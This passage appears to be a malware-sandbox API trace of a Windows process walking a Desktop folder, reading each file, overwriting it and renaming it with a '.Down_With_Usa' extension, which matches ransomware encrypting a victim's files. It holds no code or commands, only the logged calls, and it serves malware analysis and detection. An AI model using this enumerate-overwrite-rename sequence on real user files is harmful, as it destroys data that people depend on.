[0115.127] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869b4b0, ftCreationTime.dwHighDateTime=0x1d5e59c, ftLastAccessTime.dwLowDateTime=0x50386e00, ftLastAccessTime.dwHighDateTime=0x1d5e51f, ftLastWriteTime.dwLowDateTime=0x50386e00, ftLastWriteTime.dwHighDateTime=0x1d5e51f, nFileSizeHigh=0x0, nFileSizeLow=0x140cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="yJgzLJgypNdYc-.wav", cAlternateFileName="YJGZLJ~1.WAV")) returned 1
[0115.127] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x237d7fe0, ftCreationTime.dwHighDateTime=0x1d5e4f7, ftLastAccessTime.dwLowDateTime=0x49fc79f0, ftLastAccessTime.dwHighDateTime=0x1d5d903, ftLastWriteTime.dwLowDateTime=0x49fc79f0, ftLastWriteTime.dwHighDateTime=0x1d5d903, nFileSizeHigh=0x0, nFileSizeLow=0x6861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z1JCY2.bmp", cAlternateFileName="")) returned 1
[0115.127] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x237d7fe0, ftCreationTime.dwHighDateTime=0x1d5e4f7, ftLastAccessTime.dwLowDateTime=0x49fc79f0, ftLastAccessTime.dwHighDateTime=0x1d5d903, ftLastWriteTime.dwLowDateTime=0x49fc79f0, ftLastWriteTime.dwHighDateTime=0x1d5d903, nFileSizeHigh=0x0, nFileSizeLow=0x6861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z1JCY2.bmp", cAlternateFileName="")) returned 0
[0115.128] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0115.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0115.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0115.128] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx", lpFilePart=0x0) returned 0x44
[0115.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0115.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\klbvm9ljqmc7h.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0115.128] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x377c
[0115.128] ReadFile (in: hFile=0x3a8, lpBuffer=0x278d648, nNumberOfBytesToRead=0x377c, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x278d648*, lpNumberOfBytesRead=0x2eb8d8*=0x377c, lpOverlapped=0x0) returned 1
[0115.165] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx", lpFilePart=0x0) returned 0x44
[0115.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0115.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\klbvm9ljqmc7h.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0115.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx", lpFilePart=0x0) returned 0x44
[0115.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx.Down_With_Usa", lpFilePart=0x0) returned 0x52
[0115.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0115.169] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\klbvm9ljqmc7h.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf3c30, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0xefe524f0, ftLastAccessTime.dwHighDateTime=0x1d5dbd0, ftLastWriteTime.dwLowDateTime=0x211fea20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3780)) returned 1
[0115.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0115.170] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\klbvm9ljqmc7h.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\KLBVM9lJqMC7h.pptx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\klbvm9ljqmc7h.pptx.down_with_usa")) returned 1
[0115.172] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav", lpFilePart=0x0) returned 0x44
[0115.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0115.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\yjgzljgypndyc-.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0115.172] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x140cf
[0115.173] ReadFile (in: hFile=0x3a8, lpBuffer=0x2692250, nNumberOfBytesToRead=0x140cf, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x2692250*, lpNumberOfBytesRead=0x2eb8d8*=0x140cf, lpOverlapped=0x0) returned 1
[0115.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav", lpFilePart=0x0) returned 0x44
[0115.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0115.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\yjgzljgypndyc-.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0115.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav", lpFilePart=0x0) returned 0x44
[0115.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav.Down_With_Usa", lpFilePart=0x0) returned 0x52
[0115.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0115.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\yjgzljgypndyc-.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869b4b0, ftCreationTime.dwHighDateTime=0x1d5e59c, ftLastAccessTime.dwLowDateTime=0x50386e00, ftLastAccessTime.dwHighDateTime=0x1d5e51f, ftLastWriteTime.dwLowDateTime=0x21296fa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x140d0)) returned 1
[0115.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0115.222] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\yjgzljgypndyc-.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\yJgzLJgypNdYc-.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\yjgzljgypndyc-.wav.down_with_usa")) returned 1
[0115.224] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp", lpFilePart=0x0) returned 0x3c
[0115.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0115.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\z1jcy2.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0115.224] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x6861
[0115.225] ReadFile (in: hFile=0x3a8, lpBuffer=0x27ce468, nNumberOfBytesToRead=0x6861, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27ce468*, lpNumberOfBytesRead=0x2eb8d8*=0x6861, lpOverlapped=0x0) returned 1
[0115.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp", lpFilePart=0x0) returned 0x3c
[0115.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0115.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\z1jcy2.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0115.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0115.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp", lpFilePart=0x0) returned 0x3c
[0115.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0115.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0115.268] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\z1jcy2.bmp"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x237d7fe0, ftCreationTime.dwHighDateTime=0x1d5e4f7, ftLastAccessTime.dwLowDateTime=0x49fc79f0, ftLastAccessTime.dwHighDateTime=0x1d5d903, ftLastWriteTime.dwLowDateTime=0x213093c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x6870)) returned 1
[0115.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0115.268] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\z1jcy2.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\Z1JCY2.bmp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\z1jcy2.bmp.down_with_usa")) returned 1
[0115.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0115.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", lpFilePart=0x0) returned 0x3e
[0115.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\", lpFilePart=0x0) returned 0x3f
[0115.270] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x284cd750, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x284cd750, ftLastWriteTime.dwHighDateTime=0x1d5dd59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0115.271] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x284cd750, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x284cd750, ftLastWriteTime.dwHighDateTime=0x1d5dd59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.271] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d40960, ftCreationTime.dwHighDateTime=0x1d5df8a, ftLastAccessTime.dwLowDateTime=0x2fbffb00, ftLastAccessTime.dwHighDateTime=0x1d5e413, ftLastWriteTime.dwLowDateTime=0x2fbffb00, ftLastWriteTime.dwHighDateTime=0x1d5e413, nFileSizeHigh=0x0, nFileSizeLow=0xc83e, dwReserved0=0x0, dwReserved1=0x0, cFileName="L1xhTDw2symjMs6.gif", cAlternateFileName="L1XHTD~1.GIF")) returned 1
[0115.272] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387b08c0, ftCreationTime.dwHighDateTime=0x1d5e67f, ftLastAccessTime.dwLowDateTime=0xfd41a030, ftLastAccessTime.dwHighDateTime=0x1d5dcdc, ftLastWriteTime.dwLowDateTime=0xfd41a030, ftLastWriteTime.dwHighDateTime=0x1d5dcdc, nFileSizeHigh=0x0, nFileSizeLow=0xedfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="lxTY6pYbupq64XtDTn.bmp", cAlternateFileName="LXTY6P~1.BMP")) returned 1
[0115.272] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339f5160, ftCreationTime.dwHighDateTime=0x1d5e7df, ftLastAccessTime.dwLowDateTime=0xd8f8f6b0, ftLastAccessTime.dwHighDateTime=0x1d5e565, ftLastWriteTime.dwLowDateTime=0xd8f8f6b0, ftLastWriteTime.dwHighDateTime=0x1d5e565, nFileSizeHigh=0x0, nFileSizeLow=0x10ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mN-HG.bmp", cAlternateFileName="")) returned 1
[0115.272] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b9eb910, ftCreationTime.dwHighDateTime=0x1d5d921, ftLastAccessTime.dwLowDateTime=0x2837ce00, ftLastAccessTime.dwHighDateTime=0x1d5de30, ftLastWriteTime.dwLowDateTime=0x2837ce00, ftLastWriteTime.dwHighDateTime=0x1d5de30, nFileSizeHigh=0x0, nFileSizeLow=0x140f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pob6cI7Fkngn.swf", cAlternateFileName="POB6CI~1.SWF")) returned 1
[0115.272] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f118a30, ftCreationTime.dwHighDateTime=0x1d5d7c5, ftLastAccessTime.dwLowDateTime=0xb700b0e0, ftLastAccessTime.dwHighDateTime=0x1d5e2ed, ftLastWriteTime.dwLowDateTime=0xb700b0e0, ftLastWriteTime.dwHighDateTime=0x1d5e2ed, nFileSizeHigh=0x0, nFileSizeLow=0x1bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sGus9MqEj6Yk560bB0dL.odp", cAlternateFileName="SGUS9M~1.ODP")) returned 1
[0115.273] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52073bd0, ftCreationTime.dwHighDateTime=0x1d5d840, ftLastAccessTime.dwLowDateTime=0x2b4b4f0, ftLastAccessTime.dwHighDateTime=0x1d5e325, ftLastWriteTime.dwLowDateTime=0x2b4b4f0, ftLastWriteTime.dwHighDateTime=0x1d5e325, nFileSizeHigh=0x0, nFileSizeLow=0x11fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="U-IuASDYwxO3fbK.bmp", cAlternateFileName="U-IUAS~1.BMP")) returned 1
[0115.273] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0115.273] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0115.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0115.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0115.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0115.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", lpFilePart=0x0) returned 0x3e
[0115.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\", lpFilePart=0x0) returned 0x3f
[0115.274] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x284cd750, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x284cd750, ftLastWriteTime.dwHighDateTime=0x1d5dd59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0115.275] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x284cd750, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x284cd750, ftLastWriteTime.dwHighDateTime=0x1d5dd59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.275] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d40960, ftCreationTime.dwHighDateTime=0x1d5df8a, ftLastAccessTime.dwLowDateTime=0x2fbffb00, ftLastAccessTime.dwHighDateTime=0x1d5e413, ftLastWriteTime.dwLowDateTime=0x2fbffb00, ftLastWriteTime.dwHighDateTime=0x1d5e413, nFileSizeHigh=0x0, nFileSizeLow=0xc83e, dwReserved0=0x0, dwReserved1=0x0, cFileName="L1xhTDw2symjMs6.gif", cAlternateFileName="L1XHTD~1.GIF")) returned 1
[0115.275] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387b08c0, ftCreationTime.dwHighDateTime=0x1d5e67f, ftLastAccessTime.dwLowDateTime=0xfd41a030, ftLastAccessTime.dwHighDateTime=0x1d5dcdc, ftLastWriteTime.dwLowDateTime=0xfd41a030, ftLastWriteTime.dwHighDateTime=0x1d5dcdc, nFileSizeHigh=0x0, nFileSizeLow=0xedfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="lxTY6pYbupq64XtDTn.bmp", cAlternateFileName="LXTY6P~1.BMP")) returned 1
[0115.276] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339f5160, ftCreationTime.dwHighDateTime=0x1d5e7df, ftLastAccessTime.dwLowDateTime=0xd8f8f6b0, ftLastAccessTime.dwHighDateTime=0x1d5e565, ftLastWriteTime.dwLowDateTime=0xd8f8f6b0, ftLastWriteTime.dwHighDateTime=0x1d5e565, nFileSizeHigh=0x0, nFileSizeLow=0x10ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mN-HG.bmp", cAlternateFileName="")) returned 1
[0115.276] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b9eb910, ftCreationTime.dwHighDateTime=0x1d5d921, ftLastAccessTime.dwLowDateTime=0x2837ce00, ftLastAccessTime.dwHighDateTime=0x1d5de30, ftLastWriteTime.dwLowDateTime=0x2837ce00, ftLastWriteTime.dwHighDateTime=0x1d5de30, nFileSizeHigh=0x0, nFileSizeLow=0x140f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pob6cI7Fkngn.swf", cAlternateFileName="POB6CI~1.SWF")) returned 1
